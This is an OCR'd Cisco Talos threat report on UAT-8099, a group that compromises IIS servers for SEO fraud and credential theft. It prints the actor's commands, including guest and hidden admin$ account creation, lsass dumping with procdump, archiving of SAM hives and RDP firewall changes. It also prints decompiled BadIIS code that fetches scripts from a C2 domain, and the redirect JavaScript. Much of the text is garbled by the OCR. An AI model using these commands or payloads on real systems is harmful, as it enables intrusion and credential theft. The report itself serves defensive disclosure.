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UAT-8099: Chinese-speaking cybercrime group targets
high-value IIS for SEO fraud
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Threat Spotlight SecureX

¢ Cisco Talos is disclosing details on UAT-8099, a Chinese-speaking cybercrime group mainly involved in search
engine optimization (SEO) fraud and theft of high-value credentials, configuration files, and certificate data.

¢ Cisco’s file census and DNS analysis show affected Internet Information Services (II1S) servers in India,
Thailand, Vietnam, Canada, and Brazil, targeting organizations such as universities, tech firms and telecom
providers.

« UAT-8099 manipulates search rankings by focusing on reputable, high-value |IS servers in targeted regions.

* The group maintains persistence and alters SEO rankings using web shells, open-source hacking tools, Cobalt

Strike, and various BadllS malware; their automation scripts are customized to evade defenses and hide

activity.

Talos found several new BadllS malware samples in this campaign on VirusTotal this year — one cluster with

very low detection and another containing simplified Chinese debug strings.
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In April 2025, Cisco Talos identified a Chinese-speaking cybercrime group, tracked as UAT-8099, which targets a
broad range of vulnerable IIS servers across specific regions. This group focuses on high-value IIS servers that have
a good reputation within these areas to manipulate search engine results for financial gain.

UAT-8099 operates as a cybercrime group conducting SEO fraud. Additionally, UAT-8099 uses Remote Desktop
Protocol (RDP) to access IIS servers and search for valuable data such as logs, credentials, configuration files and
sensitive certificates, which they package for possible resale or further exploitation.

Upon discovering a vulnerability in a target server, the group uploads a web shell to collect system information and
conduct reconnaissance on the host network. They then enable the guest account, escalate its privileges to
administrator level, and use this account to enable RDP. For persistence, they combine RDP access with SoftEther
VPN, EasyTier (a decentralized virtual private network tool) and ERP reverse proxy tool. Subsequently, the group
performs further privilege escalation using shared tools to gain system-level permissions and install BadllS malware.
To secure their foothold, they deploy defense mechanisms to prevent other threat actors from compromising the
same server or disrupting their setup.

This blog post provides a comprehensive overview of the campaign’s victimology, including the regions affected and
the potential consequences of BadllS infections. It also details the attack chain, automation scripts employed, and the
malware and shared hacking tools UAT-8099 commonly uses.

Victimology

Based on Cisco's file census and DNS traffic analysis, the affected IIS server regions include India, Thailand,
Vietnam, Canada and Brazil. The targeted IIS servers are owned by organizations such as universities, technology
companies and telecommunications providers. The compromised IS servers redirect users to unauthorized
advertisements or illegal gambling websites. The languages used on these websites assists with identifying the
targeted regions or countries. While Talos observed that most victims were located within the same region as the
compromised servers, some victims were affected when accessing compromised servers in different regions.
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Figure 1. Gambling websites in Thai, Portuguese and English.

The majority of their targets are mobile users, encompassing not only Android devices but also Apple iPhone devices.
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In this campaign, the UAT-8099 group took advantage of weak settings in the web server’s file upload feature.
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Figure 4. UAT-8099 attack chain flowchart.

The target web server allowed users to upload files to the server, but did not restrict the file type, which allowed UAT-
8099 to upload the web shell. This established initial access and gave them control over the compromised server.
The following is the detected location of the web shell used in this campaign, which is identified as the open-source
“ASP.NET Web BackDoor” web shell:

C:/inetpub/wwwroot/[REDACTED]/Html/hw/server.ashx

After dropping the web shell, Talos observed the actor utilizing it to execute commands such as ipconfig, whoami, arp
and tasklist to collect system information and discover the host network information. Once the collection of
information is complete, UAT-8099 enables the guest account, setss a password, and elevate the guest user
privileges to administrator level, including the ability to access the system using RDP. Then, the actor uses another
command to identify the network ports on which the TermService (Remote Desktop Services) process is actively
listening. After completing creating a guest account and enabling the RDP on that target IS server, the actor created
a hidden account “admin$” and added it to Administrator permission privilege for long-term persistence.

Command [MITRE |

cmd /c net user guest /active:yes & net user guest P@sswOrd & net localgroup administrators T1136.001

guest /add & net localgroup Remote Desktop Users guest /add '
T1049

cmd /c cd /d C:/Windows/SysWOW&64/inetsrv/&for /f tokens=2 %i in (‘tasklist /FI SERVICES eq

TermService /NH') do netstat -ano | findstr %i | findstr LISTENING 2>&1 T1007
T1057

cmd /c net user admin$ P@sswOrd /add T1136.001
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cmd /c net localgroup Administrators admin$ /add T1098
cmd.exe /C net user test [REDACTED] /add T1136.001
cmd.exe /C net localgroup administrators test /add T1098

Table 1. Initial access, reconnaissance and addition of user credentials.

To maintain access to the target IIS server and install the BadllS malware for SEO fraud, Talos observed the actor
completing three steps to achieve persistence, escalate privileges, install malware and build a self-defense solution:

1. UAT-8099 is deploying SoftEther VPN, EasyTier (a decentralized virtual private network tool) and fast reverse
proxy (FRP). This setup enabled them to use RDP remotely to control the server.

2. The actor also leveraged a shared public tool to escalate privileges on the 1IS server. They then used
Procdump to extract victim credentials, which were subsequently compressed with WinRAR. We assess that
these actions were taken to finalize the installation of BadlIS for their SEO fraud activities.

3. The actor installed D_Safe_Manage, a well-known Windows IIS security tool, to prevent other attackers from
compromising the server and tampering with their BadlIS setup.

Command MITRE
cmd /c C:/Users/Public/Libraries/install_VPN.bat T1059.003
C:\Users\Public\Libraries\mass.exe -c C:\Users\Public\Libraries\config.yaml T1133
cmd.exe /C frpc.exe -c frpc.ini T1133
cmd /c C:/Users/Public/Music/mess.exe /install T1133
C:\Users\Public\Videos\a.exe T1548
C:\Users\Public\Videos\D_Safe_Manage.exe N/A
C:/Users/Public/Videos/xmiis32.dll T1496
C:/Users/Public/Videos/xmiis64.dll T1496
C:/Users/admin$/Desktop/procdump.exe -accepteula -ma Isass.exe Isass.dmp T1003
C:\Program Fi!es\WinRAR\WinRAR.exe a -ep1 -squl -(O -iext -- Viqeos.rar T1560
C:\Users\Public\Videos\system.hive C:\Users\Public\Videos\sam.hive

Table 2. Installation of tools, dumping user credentials for exfiltration and securing the installation.

Talos did not only observe UAT-8099 conducting SEO fraud, but also stealing high-value credentials, configuration
files and certificate data. After successfully compromising the target IIS server and deploying their BadlIS tool, their
next step was to search for valuable credentials, configuration files, and certificate data within the compromised
system.

The commands Talos observed indicate the actor utilizes RDP to access the IIS server. Once inside, they leverage
the 'Everything' graphical user interface (GUI) tool — a fast filename search engine for Windows — to locate high-
value data such as logs, credentials, configuration files and sensitive certificates. Upon identifying relevant files, the
actor used Notepad to review the content and employed Windows Crypto Shell Extensions (via rundll32.exe
cryptext.dll) to open and inspect .crt certificate files, examining their properties and details.

Finally, all collected high-value files were consolidated into a hidden directory, specifically
“Users\admin$\Desktop\loade\”. These files were then archived using WinRAR before being exfiltrated to the actor.

[Command [MITRE
|C:\Users\admin$\Desktop\Everything.exe -enable-run-as-admin |T1 083
|C:\Windows\system32\NOTEPAD.EXE C:\[REDACTED]Log\10-09-2024 .txt |T1 005
|C:\Windows\system32\NOTEPAD.EXE C:\[REDACTED]Log\19-03-2025.txt |T1 005
|C:\Windows\system32\NOTEPAD.EXE E:\[REDACTED]-csr\[REDACTED]-csr.txt |T1 649

C:\Windows\system32\rundlI32.exe cryptext.dil,CryptExtOpenCER E:\.[REDACTED]-

csNSTAR_[REDACTED]\AAACertificateServices.crt 11649
C:\Windows\system32\rundlI32.exe cryptext.dil,CryptExtOpenCER E:\.[REDACTED]- T1649
cs\STAR_[REDACTED]\SectigopRSADomainValidationSecureServerCA.crt
C:\Windows\system32\rundlI32.exe cryptext.dil,CryptExtOpenCER E:\.[REDACTED]- T1649
cs"\STAR_[REDACTED]\STAR_[REDACTED].crt

C:\Windows\system32\rundlI32.exe cryptext.dil,CryptExtOpenCER E:\.[REDACTED]- T1649

cs\STAR_[REDACTED]\USERTrustRSAAAACA .crt
|C:\Windows\system32\rundII32.exe cryptext.dll,CryptExtOpenCER E:\AAACertificateServices.crt |T1 649

C:\Windows\system32\rundlI32.exe cryptext.dil,CryptExtOpenCER
E:\SectigpRSADomainValidationSecureServerCA.crt

C:\Windows\system32\rundlI32.exe cryptext.dll,CryptExtOpenCER E:\USERTrustRSAAAACA.crt T1649

C:\Windows\system32\NOTEPAD.EXE C:\Users\admissionportal\Desktop\
[REDACTED]_DB_UPDATE txt

T1649

T1528
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C:\Program Files\Notepad++\notepad++.exe C:\Users\Administrator\.gitconfig T1528
C:\Program Files\Notepad++\notepad++.exe C:\Users\Administrator\.aws\config T1528
C:\Program Files\Notepad++\notepad++.exe C:\Users\Administrator\.aws\credentials T1649
C:\Windows\system32\NOTEPAD.EXE C:\Users\Administrator\OneDrive - [REDACTED]\website\ T1528
[REDACTED]-website\.gitignore
C:\Program Files\Notepad++\notepad++.exe T1528
C:\Users\Administrator\AppData\Roaming\S3Browser\accounts.xml
C:\Windows\system32\NOTEPAD.EXE C:\Windows\debug\PASSWD.LOG T1528
C:\Windows\system32\NOTEPAD.EXE C:\inetpub\wwwroot\Html- 11528
[REDACTED]\HtmI\images\passwd_web.xml

AW . T1528
C:\Windows\system32\NOTEPAD.EXE C:\Users\
[REDACTED]\AppData\Local\Google\Chrome\d_emxqgyvq\ZxcvbnData\3\passwords.txt
C:\Windows\system32\NOTEPAD.EXE 11528
C:\Users\admin$\AppData\Roaming\S3Browsen\logs\s3browser-win32-2025-04-24-log.txt
C:\Windows\system32\NOTEPAD.EXE C:\Users\admin$\AppData\Roaming\S3Browser\s3 T1528
browser.settings-v3
C:\Program Files\WinRAR\WIinRAR.exe x -iext -ow -ver -- C:\Users\admin$\Desktop\loade.zip T1560
C:\Users\admin$\Desktop\loade\

Table 3. Searching and preparing credentials and certificates for exfiltration.

Automation script used

Talos also observed UAT-8099 dropping and executing three batch script files in some attacks to automate their tasks
or to set up the compromised server for persistence and SEO fraud. The first script is for 1IS module installation, as

documented in Talos DragonRank and Trend Micro blog posts.

C:\Windows\system32\cmd.exe /c C:\ProgramData\iis.bat

\ \ \aj .exe uninstall module

'moduie.name:HLthésthiModule

\ A A \

\ \ \ aj xe uninstall module

ngiModutc

module.name:Htt

\ P

\

\ \ . & install module

/name:

HttpCgiModule /image:%windir%\SysWOW64\inetsrv\HttpCgiModule.

dll /preCondition:bitness32

W WS\ \in v\ .exe install module
HttpFastCgiModule /image:%windir%\System32\inetsrv\
HttpFastCgiModule.dll /preCondition:bitness64
it WS\ \ ¢ . /C C:\Windows\System32\1inetsrv\appcmd

list modules
A list modules

/C iisreset /restart

Figure 5. Setting up the server for persistence and SEO fraud.

The second script is for configuring RDP settings and related network activity on a Windows system, including past
RDP usage, the RDP listening port, the status of the RDP service, associated network activity, and to configure the

Windows firewall to allow RDP.

C:\Windows\system32\cmd.exe /c C:\ProgramData\fuck.bat

/name:

:\Windows \ xe /C reg query HKEY_CURRENT_USER\Softwa

Microsoft\Terminal Server Client\Servers /s

A WS\ PA .exe /C reg query HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp /

PortNumber
s \Wir WS\ \ .exe /C tasklist /svc
WS\ \ - /C netstat -ano
*\h \ \ xe /C netsh advfirewall firewall add

Remote Desktop (TCP-In) dir=in action=allow protoc

TermService

1076

ol=TCP

rule name=
localport=3389
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Figure 6. Configuring RDP settings to allow incoming connections.

The third set of scripts is designed to establish and immediately trigger a persistent, high privilege scheduled task
using “inetinfo.exe”, and then list all system scheduled tasks. The inetinfo.exe is a legitimate file “WMI V2 provider
code generation tool” that is used by the actor to do DLL sideloading and run the Cobalt Strike in memory. The
detailed Cobalt Strike analysis will be described in the next section.

C:\Windows\system32\cmd.exe /c C:\ProgramData\l.bat

t /create /tn \Microsoft\Windows\inetinfo /ru SYSTEM /sc
minute /mo 1 /tr C:\Windows\syswowb4\inetsrv\inetinfo.exe /f

/run /tn \Microsoft\Windows\inetinfo
' EPAY > /C schtasks /query /fo TABLE /v

Figure 7. inetinfo.exe is used to sideload a Cobalt Strike beacon.

User-defined reflective loader of Cobalt Strike beacon

Talos observed UAT-8099 utilized Cobalt Strike as their backdoor in this campaign. They employed DLL sideloading
as a method to execute the backdoor and also established a scheduled task to maintain persistence on the
compromised systems.

Cobalt Strike beacon execution

Image memory

Decrypt and > 2nd stage
decompressed payload

Base64 decode

V DLL sideloading \ 4 and decrypt

Image memory

7 3rd stage payload
B | Cobalt Strike > ?
b
Allocate sl Connect
memory and to C&C
copy payload

Figure 9. Cobalt Strike beacon execution diagram.

The encrypted first-stage payload is embedded within the wmicodegen.dll file. When this DLL is loaded by the
legitimate WMI V2 provider code generation tool, it uses the VirtualQuery API to allocate a block of memory
specifically for this first-stage payload.

( Df ¢ 0

Figure 10. Uses VirtualQuery API to load first-stage payload.
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After decrypting the first stage payload, we can see both the second stage payload combined with a small piece of
shellcode, and the third stage payload, which is encrypted and encoded with Base64.

Figure 11. The second stage payload.

When jumping into the third stage payload, we observed it is a DLL file but without the original PE header. We also
identify this third stage payload as the User-Defined Reflective Loader for the Cobalt Strike beacon. The erased
original PE header and heavy obfuscation in each stage are consistent with the blog description. In addition, the
machine information collection structure is also the same as the beacon structure such as listener name, computer
name, username and process name. The listener name in this campaign is PUBG.

48:1894C24 08 mov qward ptr s gword ptr sp+08]1]:ntoh
4C: B34C24 20 mov gword ptr =

48: B3EC 68 sub rsp,&E

45: B0B424 85000000 lea rax,gword

4581894424 40 mov gword ptr s

48: 8B4424 40 mov rax,gword

48: 594424 48 mov gword ptr s

45: 868424 80000000 mov rax,qgword

4581894424 50 mov gword ptr s
EB BTFFFFFF €&l 215EADS

48: BEOD mov rax,gword

48: 83C8 01 or rax,1

4B8: BEAC24 48 mov Fox, gword

45:834C24 28 mov gword ptr =

48:C74424 20 00000004 mov qword ptr =

4C: BB4C24 50 mov r3,querd pr : 1UHE\E tHs "

4C: BE4424 T8 mov rd,qword pt

481885424 70 mov rdx,qword ptr trsp+70]]: "pusc\ e |- - I - . -«
4g:88C8 MOV FOX,Fax

Figure 12. Beacon structure with the listener name PUBG.

Most importantly, the DLL file contains the “udrl.x64.dIlI” and “customLoader” inside that also match with the User-
Defined Reflective Loader blog description. Using a URL that mimics a legitimate content delivery network (CDN),
along with ports and paths typical of Exchange servers, enables the attacker to blend in with normal network traffic
and avoid detection by security analysts.

Figure 13. “udrl.x64.dIlI” and “customLoader” embedded.

9/24


https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-2-obfuscation-masking
https://learn.microsoft.com/en-us/exchange/clients/outlook-on-the-web/outlook-on-the-web

Ifigﬁré 1-4. B.eaco

New BadlIS va

cosucm sm v S e u s s
48: EESCZ4 BS000000 |mov_rcx,qword per ss
E8 10FE0100 Eall 217DFZ3

BCE mov rd,rax

b2

40D EDOS 7200400 dz:[21AAT54]
EA E0O0D0000 v B0

48:EESCZ4 BOODOOOD  |mov rox,qword ptr 80
E8 ACO30000 Eall 215EAED

CT4424 34 00000000 mov dword pTr
Ac:EEa4zd 52 Moy 8, qword o
EES4z2 34 %, dword ptr
48: BEBCZ4 BE000000 ®,qword ptr
8 DEF70100 TDF28

m
mov_rcx,qword pre
€310 21L5EAED
mov dword pre
-3, qward @

4CIEDDS 15C00400
BA 00010000

EZ IIE20000
B9 63000000

n C2 connection information.

riant

[awerd ptr ss:

Talos' analysis of the BadlIIS variants used in this campaign revealed functional and URL pattern similarities to a
variant previously documented in the Black Hat USA 2021 white paper and a Trend Micro blog. However, this new
BadllS malware has altered its code structure and functional workflow to evade detection by antivirus products.
Additionally, we identified several instances of the BadllS malware on VirusTotal this year. One cluster exhibited very
low detection rates and the other showed simplified Chinese debug strings inside the malware.

Figure 15. First cluster of new BadllS with low detection rates.

badiis_rule

r s2:[rsp=88]]: "cdn.windowserrorapis. com, /vs fowa/rYpkZyehsaosy

Submitters
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i (vis )
OutputDebugsString("cras5===fTE5CEEAIVURL: ¥s://¥s¥s\n", "http", v15, vie);
v48 = B;
if ( !byte 10023019 && !byte 1802301F )
goto LABEL_107;
if ( url_extension(vig) )

if ( *(v53 + 8) 1= 404 )

return @;
result = str_url(4e4, ve, &v43);
if ( v48 )

return result;

}
if ( !byte_10023019 )

goto LABEL_65;
OutputDebugString("cr‘45===fﬁ§5ﬂ]ﬁt! Y
if ( Is_signature_code() )

goto LABEL_65;
if ( !byte_10823018 )

OutputDebugString( "cras===[EuhthiF-- - 22T EEF!! ")
if ( byte_1lee23elC )

1
/24 = IsInSpiders();
OutputDebugString("cras===15EHIBF] Ml ===IsInSpiders: %d", v24);
if ( IsInSpiders() )
{
25 = *(v53 + 8);
if ( v25 == 280 || v25 == 384 )
{
OutputDebugString("cra5===[FubEHF - - -2 BT EINIF--HE T makeOriginalSiteContent™);
LABEL_47:
Replace_TDK(v1®, Str, v54, v6, &u47);
¥
}
¥
else
{
OutputDebugString("cras===AFgENL1111");

26 = *(v53 + 8);
Figure 16. Second cluster of new BadlIS with simplified Chinese debug strings.

First cluster of new BadllS

The first cluster of new BadllS malware implements handlers named “CHttpModule::OnBeginRequest” and
“CHttpModule::OnSendResponse”. Both handlers use the "User-Agent" and "Referer" fields from the incoming HTTP
headers to determine which malicious function to execute. Specifically, this malware targets requests where the
"User-Agent" is Googlebot and the "Referer" is google.com, confirming that the user and crawler accessed the
compromised website via the Google search engine only. Below, we describe how the malicious functions, including
proxy, injector and SEO fraud, trigger.

SEO manipulation schemes

The OnBeginRequest handler processes incoming requests by examining the "User-Agent" and "Referer" HTTP
headers to proxy or Injector responses. When the request is detected as originating from Googlebot and meets a
specific URL path condition, the request is forwarded through a Proxy function. The targeted URL path pattern is as
follows:

news | cash|bet|gambling|betting|casino|fishing|deposit|bonus|sitemap|app|ios|video|games|xoso|dabong|nohu|

Alternatively, if the request is not from Googlebot, the system then checks if it was referred by a Google search and if
the same URL path condition is satisfied, in which case it proceeds to inject JavaScript. The injected JavaScript
embeds a C2 URL such as “http:/[C2])/jump.html” or “http://[C2])/pg888.js”. This injection enables the actor to
compromise users’ browsers by downloading malicious scripts from the C2 server.
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= *8argc;

if ( largv )
return @;
iri_pa = (*(™argv + 3))(argv, argv, envp); // GetProtocaolManager
if ( lu th )
return @;
vS = (*(*uri_path + 8LL})(uri_path);
if (! || !'*(vs + 88) )
return @;
User_Agent = (*(*uri_path + 24LL))(uri_path, "User-Agent”, OLL);
erer_ en_t = (*(*uri_pz + 24LL))(uri_path, "Referer"”, 8LL);
if ( detect_Googlebot(vE, ent) ) // user agent is googlebot go to proxy
if ( check_url_path(vg, *(v5 + 88))
88 (OutputDebugStringA("Googlebot detected and feature code found, proxying request\n"}, Proxy_function(vg, argv)} )
d
return 2;
}
else
i
return 8;
}

// referer is google go to inject IS
else if ( check_url_path(vs, *(v5 + 88))
8& check_referer_is_pgoogle(re -onten_temp)
8% (OutputDebugStringA("Feature code found AND request from Google search, injecting JS\n"),
JS_Injection(vs, argv)) )

{

return 2;
Figure 17. OnBeginRequest handler.

BadlIS proxy mode

1. Request

>

< <

5. Response 4. Response

Figure 18. Proxy mode.

BadllS injector mode

3.Connect to C2 through injected Javascript

1. Request 4. Redirect

User | i
> >

A

<

2. Inject JavaScript in response

Figure 19. Injector mode.

The OnSendResponse handler first performs SEO fraud by delivering specific content from C2 server to requests
where the "User-Agent" is Googlebot, manipulating search rankings to increase the visibility of the malicious content.
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This C2 content typically appears as a URL like “http://[C2])/u.php”. Subsequently, the function targets human users by
conditionally injecting JavaScript when a request comes from a Google search and results in a 404 or 500 error page.

if ( !User_Agent )

return @LL;

5 = (*(*User_Agent + 24LL))(User_Agent);
if ( tvs )

return OLL;
= (*(*v5 + 8LL))(v3);
if (7 || !*®(v7 + 88) )
return @LL;
8 = (*(*vS + 24LL))(v5, "User-Agent”, @LL);
if ( detect_Geooglebot(al, v3) ) // Replaces responses to HTTP requests from web crawlers
/ with C2 content to do SEO fraud

if ( fetch_C2_html(al, User_Agent) ) // User-Agent is Googlebot -> fetch_C2_html
return 2LL;
else
return OLL;
¥
else
1
6 = (*(*User_Agent + 32LL))(User_Agent);
if ( vé
88 (((*(*v6 + 184LL))(v6, &respond cbj, @LL, eLL, OLL, @LL, BLL, eLL, OLL, @LL), respond cbj == 4e4)
|| respond_obj == S00)
& (v9 = (*(*v5 + 24LL))(v5, "Referer”, OLL), check referer_is_google(v9))
&& (OutputDebugStringA("4@4/500: From Google search, injecting 35\n"),
LOWORD(v3) = 208,
(*(*v6 + 24LL))(ve6, v3, "OK", 8LL, 8, @LL, @),
JS_Injection(al, User_Agent)) ) // referer is google.com -> inject 15 to the respond
{

return 2LL;
Figure 20. OnSendResponse handler.

BadlIS SEO fraud mode

1. Request

i Cc2
>

< <

4. Modified response 3. C2 server to Compromised IIS

Figure 21. SEO fraud mode.
Technical highlights of each mode
Proxy mode

When operating in proxy mode, BadllS first verifies the URL path to ensure the process is running in the correct
mode. It then extracts the embedded C2 server address, which is encoded in hexadecimal bytes, and uses this C2 as
a proxy to retrieve content from a secondary C2 server, subsequently responding to the IS server.
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return @;
if ( !check_url_path(al, *(v16 + @8x58)) )
return @;
str_C2 = proxy_C_C(); // c2
if ( !'str C2)
{
OutputDebugStringA(“"Failed to get proxy base URL\n");
return 8;
¥
Get_Url_input_and_cutput_with_HTTP_or_HTTPS(proxy c2, str_(2);
if ( decode_c2(proxy c2) )
{
OutputDebugStringA(“Failed to decrypt proxy base URL\n");
sub_18@BBAEBe(proxy_c2);
return @;
}
sub_18eee288e(v35, *(vic + 88));
v2e = &v31; // proxy core
v21 = &v32;
v22 sub_130001BF0(&v11);
v23 = sub_18000CC40(v35, v20);
v24 = sub_18@0eC93e(v35, v21);
sub_180008E60(v36, v24, v23, v22);
sub_180@08FCe@(v34, proxy c2, v36);
v3 = sub_18000C990(v34);
sub_180@0A6A@(0OutputString, "Proxying request to: %s\n", v3);
OutputDebugStringA(OQutputString);

vlS = @LL;

v1l2 = 8;

Fetching_centent_function(al, v34, &v15, &vi12);
if ( tviz || tvis )

{

OutputDebugStringA(“Failed to fetch proxy content\n™);
goto LABEL_22;
}
9 =
f(

(*(*a2 + 32LL))(22);
!

*(t
v9

a
v9 )
OQutputDebugsStringA(“Failed to get response object\n");
output_repond_ocbj(vis);

Figure 22. Use C2 server as a proxy.

i
{

Before responding to the Google crawler, it modifies the response data to resemble a valid HTTP response and uses
the native HTTP module API "WriteEntityChunks" to insert data into the body of the HTTP response.
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(*(*vo + 8eLL))(va);

LOWORD(v4) = 2;

LOWORD(v5) = 200;

(*(*vo + 24LL))(v9, v5, "OK", v4, 1, @LL, @);

v6 = encode_data_use_xor("text/html; charset=utf-8");

= ¥yQe
VD

25 =
(*(v2s + 4@))(v9, "Content-Type", "text/html; charset=utf-8", v6, 1);
7 = encode_data_use_xor("no-store, no-cache, must-revalidate”);

16 = EyGe
'y

. =

(*(v26 + 48))(v9, "Cache-Control”, "no-store, no-cache, must-revalidate”, v7, 1);
(*(*vo9 + 112LL))(v9, 9LL);

v8 = encode_data_use_xor("no-cache");

r, x,,0s
7 /93

27 + 48))(v9, "Pragma", "no-cache”, v3, 1);
= 8;

(*(

vo + 168LL))(v9, &28, 1LL, OLL, 1, v14, OLL);

sub_18888A6AB(OutputString, "WriteEntityChunks result: %d, bytes sent: %d\n", v13, vi4[e]);
QutputDebugstringA(QutputsString);
if ( 'viz )
1
LastError = GetLastError();
sub_18000AsA0(OutputsString, “"WriteEntityChunks failed with error: ¥d\n", LastError);
OutputDebugStringA(OutputString);

}
(*(*v9 + 144LL))(v9, OLL, 1LL, vi4, @LL);
cutput_repond_cbj(vis);
vi4a[1] = vi3 == 1;
10 0= vi3 == 1;

Figure 23. Using "WriteEntityChunks” to insert data into the body of the HTTP response.

SEO fraud mode

Talos identified that the actor employs a conventional SEO technique known as backlinking to boost website visibility.
Google's search engine uses backlinks to discover additional sites and assess keyword relevance. A higher number
of backlinks increases the likelihood of Google crawlers visiting a site, which can accelerate ranking improvements
and enhance exposure for the webpages. However, simply accumulating backlinks without regard to quality can lead
to penalties from Google. Algorithms like Penguin, introduced in 2012, and SpamBrain, launched in 2022, rigorously
evaluate backlink quality. To exploit this, the actor compromises multiple IS servers across the internet to conduct

SEO fraud. In this SEO fraud mode, BadllS serves numerous backlinks with HTML content to Google crawlers to
improve search engine rankings.
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https://spambrain.com/

call Creéte_Html

mov rax, [rsp+l68h+var_110]
mov eax, [rax+16h]

mov edx, eax

lea rcx, [rsp+l68h+var_C8]
call Lib_vector

mov byte ptr [rax], @

lea rcx, [rsp+l68h+var_C8]
call sub_18008C2F0

lea rdx, aHtml ;3 "<html"
mov rcx, rax

call sub_l3eeecrse

mov [rsp+l68h+var_F@], rax
cmp [rsp+l68h+var_Fe], ©

jnz short loc_18@@075FA

|

® ==

lea rcx, [rsp+l68h+var_C38]
call sub_18008C2F0

lea rdx, aHtml_e@ 3 "<HTML"
mov rcx, rax

call sub_18eeecrse

[rsp+168h+var_F@], rax

[® a7

loc_18@RR75FA:

cmp [rsp+168h+var_Fe], @
jnz short loc_18@00761E

J

Figure 24. Retrieving backlinks containing HTML content.

. X7

mov
lea

cmp

jbe

loc_18@0e761E:

[rsp+168h+var_lee], e
rdx, [rsp+l68h+var_160]
rcx, [rsp+l68h+arg 8]
Fetching_from_C2
[rsp+168h+var_124], eax
[rsp+168h+var_124], @
loc_18@@878ED

One example of a backlink from the C2 server is shown in Figure 25, with additional compromised IIS servers
performing similar backlink SEO fraud.
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FiQ_ure 25. Backlinks from the C2 server.
Injector mode

In injector mode, BadlIS intercepts browser requests originating from Google search results. It connects to the C2
server to retrieve JavaScript code, then uses the “WriteEntityChunks” API to embed the downloaded JavaScript into
the HTML content of the response. It then returns the altered response to redirect the user to the destination intended
by the actor.
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var_obj = @LL;

va = 8;
JS_inject_create_content(al, &var_cbj, &9); // inject 1S to the respond
if ( 1vo [| lvar_obj )
OutputDebugStringA(”JS Injection failed to create content\n™);
return @;
}

response_obj = (*(*memory_obj + 32LL)})(memory_obj);
if ( !response_obj )

OutputDebugStringA("JS Injection failed to get response object\n");
output_repond_obj(var_cbi);
return @;

(*{*response_obj + 80LL))(response_ob3j); // 35 Injection succeed

LOWORD(v2) = 2;

LOWORD(http_respond_num) = 2@8;

(*(*response_obj + 24LL))(response_cbj, http_respond_num, "OK", v2, 1, OLL, @);// get respond 28@
v4 = encode_data_use_xor("text/html; charset=utf-8");

vl4 = *response_obij;

(*(vi4 + 48))(response_chj, "Content-Type"”, “"text/html; charset=utf-8", v4, 1);// meta http-equiv
v5 = encode_data_use_xor("no-store, no-cache, must-revalidate”);

vl5 = *response_obj;

(*(v15 + 4@))(response_obj, "Cache-Control”, "no-store, no-cache, must-revalidate”, v5, 1);// http 1.1
(*(*response_cbj + 112LL))(response_cbj, 9LL);

vE = encode_data_use_xor("no-cache”);

vls = *response_obj;

(*(vl6 + 4@))(response_obj, "Pragma”, "no-cache”, v6, 1);// http 1.0

vl? = @;
vl8 = var_obj;
vl9 = w93

resulte_code = (*(*response_obj + 168LL))(response_obj, &v17, 1LL, @LL, 1, &bytes, @LL);
sub_18@00A6AQ(OutputString, "JS Injection WriteEntityChunks result: ¥d, bytes sent: ¥d\n", resulte_code, bytes);
OutputDebugStringA(OutputString);

if ( !resulte_code )

i
LastError = GetlastError();
sub_18000A6A0(OutputString, "JS Injection WriteEntityChunks failed with error: ¥d\n", LastError);
OutputDebugStringA(OutputString);

(*(*response_obj + 144LL))(response_obj, @LL, 1LL, &bytes, OLL);
output_repond_obj(var_obi);
return fesulte_ccde == 1;

Figure 26. Injecting JavaScript code to response data.
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i B

= @LL;

a3 = @;
char_C2 = 3S5_1i
if ( char_C2 )

*a
* -
nject_C_C(); // http://thl.ggseocdn.com/jump.html

Get_Url_input_and_output_with_HTTP_or HTTPS(http c2, char_C2);

v4 = OLL;

vi = @;

Fetching_content_function(al, http c2, &v4, &v3);// download 1S from the C2
if ( v3 && va )

1
try
i
*a3 = v3;
*a2 = Memory_Allecation((*a3 + 1));
if ( *a2 )
{
Create_Html(*a2, v4, *a3); // Create html with the 35S
*(*a2 + *a3) = @;
else
OutputDebugStringA("Failed to allocate memory in CreateHtmlWithJs\n™);
*a3i = @;
¥

}

catch ( ... )

{
OutputDebugStringA("Exception in CreateHtmlWithJls\n");
if ( *a2 )
1
output_repond_obj(*a2);
*a2 = OLL;
}
*a3 = 0;

}

output_repond_obj(v4);

sub_18000AEB@(http c2);
Figure 27. Fetching JavaScript code from C2 server.

BadlIS retrieves malicious JavaScript code from a C2 server and redirects users to malicious websites instead of
legitimate ones. By not embedding the JavaScript code directly in the binary, it allows easier modification of the
redirect targets and helps evade detection by antivirus security products. The script is programmed to show a brief
loading message before automatically redirecting the user to a malicious site. The redirect function and alert
message vary across different C2 servers; some scripts reference two C2 servers and randomly select one with a
50% probability. Additionally, the alert message language is tailored to match the target region of the user.
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<div class="alert-body">

<div id="js-alert-head” class="alert-head"></div>

<div class="alert-concent™>

<p>jogo</p>

<p>Lembre-se do dominio oficial: <a href="https://tz.c7f3m8.com?ch=8593" style="font-weight: 7@@
</div>

<a id="js-alert-btn" class="alert-btn" href="https://tz.c7f3m8.com?ch=8599">Entrar na pégina</a>
</div>

<div class="alert-footer clearfix">

</div>

</divs>

<script type="text/javascript”>

var ip = returnCitySN["cip"];

var diqu = returnCitySN["cname"];
document.getElementById(“diqu").innerHTML= diqu;
document.getElementById("ip™).innerHTML = ip;

function alertSet(e) {
document.getElementById("js-alert-box").style.display =
document.getElementById("js-alert-head™).innerHTML = e;
var t =1,
n = document.getElementById("js-sec-circle");
document.getElementById("js-sec-text").innerHTML = t;
var timer=setInterval(function() {
if (@ == t){
clearTimeout(timer)
window.location ="https://tz.c7f3m8.com?ch=8599";

“block™,

}else {
t-=1,
document.getElementById("js-sec-text").innerHTML = t;
var e = Math.round(t / 1 * 735);
n.style.strokeDashoffset = e - 735

¥
}.97@);

</script>
<scriptralertSet("A caminho, aguarde...™);</script>

Figure 28. JavaScript code with alert message in Portuguese.

“>jogo</p>
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- </div>

-</div>

SJ<script>

—|function getRandomURL () {
// 50% chance for each URL

return Math.random() < 0.5

? "https://bit ard

-}

—|function alertSec() {
var redirectURL = getRandomURL() ;
document .getElementById("js—al
document.getElementById(" s

var countdown = 1,
circle = document.getElementBylId("js-s
textElement =

textElement.innerHTML = countdown;
circle.style.strokeDashoffset = 0;

= var timer = setInterval (function() {
countdown--;
textElement.innexrHTML = countdown;

var progress = Math.round(countdown / 1 * 73
circle.style.strokeDashoffset = progress - 7

= if (countdown <= 0) {
clearInterval (timer) ;
window.location.href = redirectURL;
B }
E }, 1000):
